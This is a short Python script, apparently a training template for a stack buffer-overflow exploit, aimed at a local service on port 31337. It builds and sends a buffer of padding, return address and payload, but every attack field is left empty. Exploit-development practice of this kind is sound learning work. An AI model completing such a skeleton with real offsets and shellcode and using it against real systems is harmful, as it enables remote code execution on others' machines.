#!/usr/bin/env python3
import socket,time

ip = '127.0.0.1'
port = 31337
timeout = 5
offset = 0
overflow = 'A' * offset
retn_value = ''
padding = ''
payload = ''
postfix = ''
buffer = overflow + retn_value + padding + payload + postfix
try:
  with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.settimeout(timeout)
    s.connect((ip, port))
    print('Sending evil buffer...')
    s.send(bytes(buffer + '\r\n', 'latin-1'))
    print('Done!')
except:
  print('Could not connect.')
